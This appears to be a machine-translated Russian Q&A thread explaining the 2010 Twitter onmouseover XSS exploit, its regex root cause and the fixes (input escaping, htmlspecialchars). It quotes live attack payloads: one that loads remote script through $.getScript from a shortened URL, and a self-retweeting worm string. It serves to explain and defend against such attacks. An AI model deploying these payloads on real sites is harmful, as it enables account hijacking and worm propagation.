Подтвердить что ты не робот

Сегодня XSS onmouseover использует на twitter.com

Можете ли вы объяснить, что именно произошло в Twitter сегодня? В основном, эксплойт заставил людей опубликовать твит, содержащий эту ссылку:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Это технически XSS-атака или что-то еще?

Вот как выглядела домашняя страница Twitter: http://www.flickr.com/photos/travelist/6832853140/

4b9b3361

Ответ 1

Уязвимость объясняется тем, что URL-адреса не обрабатываются должным образом. Например, следующий URL-адрес отправляется в Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter рассматривает это как URL-адрес. Когда он разобран, Twitter обменивает ссылку на этот код, поэтому HTML теперь выглядит так:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

Вы можете видеть, что, поместив URL-адрес и конечную косую черту, Twitter считает, что у нее есть действительный URL-адрес, хотя в нем есть метка кавычки, которая позволяет ему сбежать (т.е. закончить атрибут href, для педанты) атрибут URL и включить мышь. Вы можете написать что-нибудь на странице, включая закрытие ссылки и включение элемента script. Кроме того, вы не ограничены лимитом в 140 символов, потому что вы можете использовать $.getScript().

Этот commit, если он был вытащен, помешал бы этой уязвимости XSS.

Подробно, оскорбительное регулярное выражение было:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

Часть @[^\/]+\/ разрешала любой символ (кроме косой черты), когда он был префиксом знака @и суффикс с помощью косой черты.

Изменяя на @#{REGEXEN[:valid_general_url_path_chars]}+\/, теперь он разрешает только действительные URL-адреса.

Ответ 2

Да, это XSS, он атакует обработчик событий javascript. Что касается этого XSS, то это не требует использования <>. Введенная строка: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

size::999999999999px делает его очень большим и для более того, что кто-то на него накинет. Реальной проблемой является обработчик события onmouseover=.

Чтобы предотвратить это в PHP, вам нужно преобразовать кавычки в свои html-объекты: $var=htmlspecialchars($var,ENT_QUOTES);

Это связано с тем, что HTML не может избежать кавычек, таких как sql: \'

Ответ 3

Эксплоит был классической частью Javascript-инъекции. Предположим, вы пишете твит со следующим текстом:

"http://www.guardian.co.uk/technology is the best!"

Когда вы просматриваете веб-страницу Twitter, это становится ссылкой, например:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!

Эксплойт атаковал эту функцию создания ссылок. Необработанный текст твита эксплоита читал бы что-то вроде этого:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

Какой Twitter не защищал должным образом, возможно, потому, что комбинация символов "@" сломала свой синтаксический анализатор [HTML]. Эта ссылка создаст следующий источник страницы:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

Это означает, что исполняемый контент (бит onMouseOver = "stuff" ) попал в исходный код страницы. Не зная ничего лучше, браузер запускает этот код. Поскольку он работает в пользовательском браузере, он может делать все, что делает пользователь; большинство вариаций использовало эту власть для повторной публикации контента, поэтому он распространялся как вирус. Чтобы побудить пользователя активировать код посредством mousing over, они также отформатировали блок как черный-на-черном, используя CSS [Каскадные таблицы стилей, которые определяют макет страницы). Другие версии были взломаны вокруг пользователей, чтобы иметь все виды других эффектов, таких как порно сайт перенаправляет, радужный текст в своих твитов, и так далее. Некоторые из них открыли диалоговые окна, предназначенные для предупреждения пользователей, говоря об отключенных учетных записях или похищенных паролях (в любом случае они не были).

Twitter исправил это, не заблокировав строку onMouseOver (которую требовали некоторые туманные блоги), но путем надлежащей дезинфекции ввода. "Знаки в этих твитах теперь превращаются в &" - форму, экранированную HTML.

Технически это атака инъекций второго порядка; строка атаки вставляется в базу данных и обрабатывается правильно, но затем атака происходит, когда строка считывается обратно. Это тоже не сложная атака - довольно неловко для Твиттера, что они были пойманы этим.

Источник: Твиттер Twitter: как он начал и как он работал

Ответ 4

Это эксплойт XSS. Как признал Twitter в своем обновлении. Вы можете предотвратить подобные атаки, не позволяя пользователям публиковать javascript-код. Вы должны всегда отфильтровывать его. Более подробную информацию об исключении XSS можно найти здесь: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Ответ 5

Из Википедии: "Межсайтовый скриптинг (XSS) - это уязвимость компьютерной безопасности, обычно встречающаяся в веб-приложениях, которая позволяет злоумышленникам вводить клиентскую сторону script на веб-страницы, просматриваемые другими пользователями".

Сегодня атака подходит для меня.

В основном была некоторая ошибка синтаксического анализа с отображаемым кодом Twitter.com. Когда они конвертировали URL-адреса в гиперссылки HTML, они неправильно обрабатывали символы @, и это приводило к тому, что события javascript были вставлены в ссылку HTML.